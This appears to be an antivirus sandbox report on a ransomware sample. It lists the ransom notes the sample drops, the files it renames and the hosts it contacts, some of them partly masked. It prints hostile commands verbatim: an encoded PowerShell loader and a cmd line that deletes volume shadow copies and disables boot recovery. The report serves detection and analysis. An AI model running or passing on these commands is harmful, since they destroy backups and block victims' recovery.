Technical Information
To ensure autorun and distribution
Creates the following files on removable media
- <Drive name for removable media>:\bkro3xnl3p-readme.txt
Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Enc IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBt...
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\vssvc.exe
the following user processes:
- firefox.exe
Reads files which store third party applications passwords
- %HOMEPATH%\desktop\2.jpeg
- %HOMEPATH%\desktop\testee.cer
- %HOMEPATH%\desktop\testcertificate.cer
- %HOMEPATH%\desktop\region-north-karelia.jpeg
- %HOMEPATH%\desktop\pushkin.jpeg
- %HOMEPATH%\desktop\ovp25012015.doc
- %HOMEPATH%\desktop\ituneshelpunavailable.htm
- %HOMEPATH%\desktop\iisstart.html
- %HOMEPATH%\desktop\iisstart.htm
- %HOMEPATH%\desktop\tree_view.html
- %HOMEPATH%\desktop\hanni_umami_chapter.doc
- %HOMEPATH%\desktop\cveuropeo.doc
- %HOMEPATH%\desktop\contoso.cer
- %HOMEPATH%\desktop\browse.htm
- %HOMEPATH%\desktop\applicantform_en.doc
- %HOMEPATH%\desktop\api-hashmap.html
- %HOMEPATH%\desktop\alert.htm
- %HOMEPATH%\desktop\adhd_and_obesity.docx
- %HOMEPATH%\desktop\508softwareandos.doc
- %HOMEPATH%\desktop\file_p_00000000_1371597592.docx
- %HOMEPATH%\desktop\trivial-merge.html
Modifies file system
Creates the following files
- %HOMEPATH%\trpbw.exe
- %HOMEPATH%\contacts\bkro3xnl3p-readme.txt
- C:\users\public\videos\bkro3xnl3p-readme.txt
- C:\users\public\recorded tv\bkro3xnl3p-readme.txt
- C:\users\public\pictures\bkro3xnl3p-readme.txt
- C:\users\public\music\bkro3xnl3p-readme.txt
- C:\users\public\libraries\bkro3xnl3p-readme.txt
- C:\users\public\favorites\bkro3xnl3p-readme.txt
- C:\users\public\downloads\bkro3xnl3p-readme.txt
- C:\users\public\documents\bkro3xnl3p-readme.txt
- C:\users\default\videos\bkro3xnl3p-readme.txt
- %HOMEPATH%\documents\bkro3xnl3p-readme.txt
- C:\users\default\saved games\bkro3xnl3p-readme.txt
- C:\users\default\pictures\bkro3xnl3p-readme.txt
- C:\users\default\music\bkro3xnl3p-readme.txt
- C:\users\default\links\bkro3xnl3p-readme.txt
- C:\users\default\favorites\bkro3xnl3p-readme.txt
- C:\users\default\downloads\bkro3xnl3p-readme.txt
- C:\users\default\documents\bkro3xnl3p-readme.txt
- C:\users\default\desktop\bkro3xnl3p-readme.txt
- C:\users\public\desktop\bkro3xnl3p-readme.txt
- C:\far2\plugins\compare\bkro3xnl3p-readme.txt
- %HOMEPATH%\downloads\bkro3xnl3p-readme.txt
- %HOMEPATH%\favorites\msn websites\bkro3xnl3p-readme.txt
- %HOMEPATH%\favorites\microsoft websites\bkro3xnl3p-readme.txt
- %HOMEPATH%\favorites\links for united states\bkro3xnl3p-readme.txt
- %HOMEPATH%\favorites\links\bkro3xnl3p-readme.txt
- C:\users\public\videos\sample videos\bkro3xnl3p-readme.txt
- C:\users\public\recorded tv\sample media\bkro3xnl3p-readme.txt
- C:\users\public\pictures\sample pictures\bkro3xnl3p-readme.txt
- C:\users\public\music\sample music\bkro3xnl3p-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\v3.5\desktop\bkro3xnl3p-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\v3.5\bkro3xnl3p-readme.txt
- %HOMEPATH%\desktop\bkro3xnl3p-readme.txt
- C:\far2\addons\colors\default_highlighting\bkro3xnl3p-readme.txt
- C:\far2\addons\colors\custom_highlighting\bkro3xnl3p-readme.txt
- %HOMEPATH%\voip\bkro3xnl3p-readme.txt
- %HOMEPATH%\videos\bkro3xnl3p-readme.txt
- %HOMEPATH%\searches\bkro3xnl3p-readme.txt
- %HOMEPATH%\saved games\bkro3xnl3p-readme.txt
- %HOMEPATH%\pictures\bkro3xnl3p-readme.txt
- %HOMEPATH%\music\bkro3xnl3p-readme.txt
- %HOMEPATH%\links\bkro3xnl3p-readme.txt
- C:\far2\addons\xlat\russian\bkro3xnl3p-readme.txt
- %HOMEPATH%\favorites\bkro3xnl3p-readme.txt
- C:\far2\pluginsdk\headers.pas\bkro3xnl3p-readme.txt
- C:\far2\pluginsdk\headers.c\bkro3xnl3p-readme.txt
- C:\far2\plugins\tmppanel\bkro3xnl3p-readme.txt
- C:\far2\documentation\bkro3xnl3p-readme.txt
- C:\users\default\bkro3xnl3p-readme.txt
- C:\totalcmd\language\bkro3xnl3p-readme.txt
- <Current directory>\~$<File name>.doc
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\bkro3xnl3p-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\bkro3xnl3p-readme.txt
- C:\far2\pluginsdk\bkro3xnl3p-readme.txt
- C:\far2\plugins\bkro3xnl3p-readme.txt
- C:\far2\fexcept\bkro3xnl3p-readme.txt
- %HOMEPATH%\favorites\windows live\bkro3xnl3p-readme.txt
- %HOMEPATH%\bkro3xnl3p-readme.txt
- C:\far2\addons\bkro3xnl3p-readme.txt
- C:\users\bkro3xnl3p-readme.txt
- C:\totalcmd\bkro3xnl3p-readme.txt
- <Current directory>\bkro3xnl3p-readme.txt
- C:\recovery\bkro3xnl3p-readme.txt
- %ProgramFiles(x86)%\bkro3xnl3p-readme.txt
- %ProgramFiles%\bkro3xnl3p-readme.txt
- C:\far2\bkro3xnl3p-readme.txt
- C:\bkro3xnl3p-readme.txt
- C:\far2\encyclopedia\bkro3xnl3p-readme.txt
- C:\far2\plugins\ftp\lib\bkro3xnl3p-readme.txt
- C:\far2\addons\colors\bkro3xnl3p-readme.txt
- C:\far2\addons\shell\bkro3xnl3p-readme.txt
- C:\far2\addons\macros\bkro3xnl3p-readme.txt
- C:\far2\plugins\proclist\bkro3xnl3p-readme.txt
- C:\far2\plugins\network\bkro3xnl3p-readme.txt
- C:\far2\plugins\macroview\bkro3xnl3p-readme.txt
- C:\far2\plugins\hlfviewer\bkro3xnl3p-readme.txt
- C:\far2\plugins\ftp\bkro3xnl3p-readme.txt
- C:\far2\plugins\filecase\bkro3xnl3p-readme.txt
- C:\far2\plugins\farcmds\bkro3xnl3p-readme.txt
- C:\far2\plugins\emenu\bkro3xnl3p-readme.txt
- C:\far2\addons\setup\bkro3xnl3p-readme.txt
- C:\far2\plugins\editcase\bkro3xnl3p-readme.txt
- C:\users\public\bkro3xnl3p-readme.txt
- C:\far2\plugins\brackets\bkro3xnl3p-readme.txt
- C:\far2\plugins\autowrap\bkro3xnl3p-readme.txt
- C:\far2\plugins\arclite\bkro3xnl3p-readme.txt
- C:\far2\plugins\align\bkro3xnl3p-readme.txt
- C:\far2\encyclopedia\tap\bkro3xnl3p-readme.txt
- C:\far2\documentation\rus\bkro3xnl3p-readme.txt
- C:\far2\documentation\eng\bkro3xnl3p-readme.txt
- C:\far2\addons\xlat\bkro3xnl3p-readme.txt
- C:\far2\plugins\drawline\bkro3xnl3p-readme.txt
- D:\bkro3xnl3p-readme.txt
Moves the following files
- from <Current directory>\~$<File name>.doc to <Current directory>\~$<File name>.doc.bkro3xnl3p
Moves itself
- from <PATH_SAMPLE>.doc to <PATH_SAMPLE>.doc.bkro3xnl3p
Modifies user data files (Trojan.Encoder).
Changes user data files extensions (Trojan.Encoder).
Network activity
Connects to
- 'pa###bin.com':443
TCP
HTTP GET requests
- http://fc####leibrahim.top/sywo/fgoow.php?l=############
- http://18#.#93.141.248/gs.php
UDP
- DNS ASK fc####leibrahim.top
- DNS ASK pa###bin.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures
- '<SYSTEM32>\vssvc.exe'
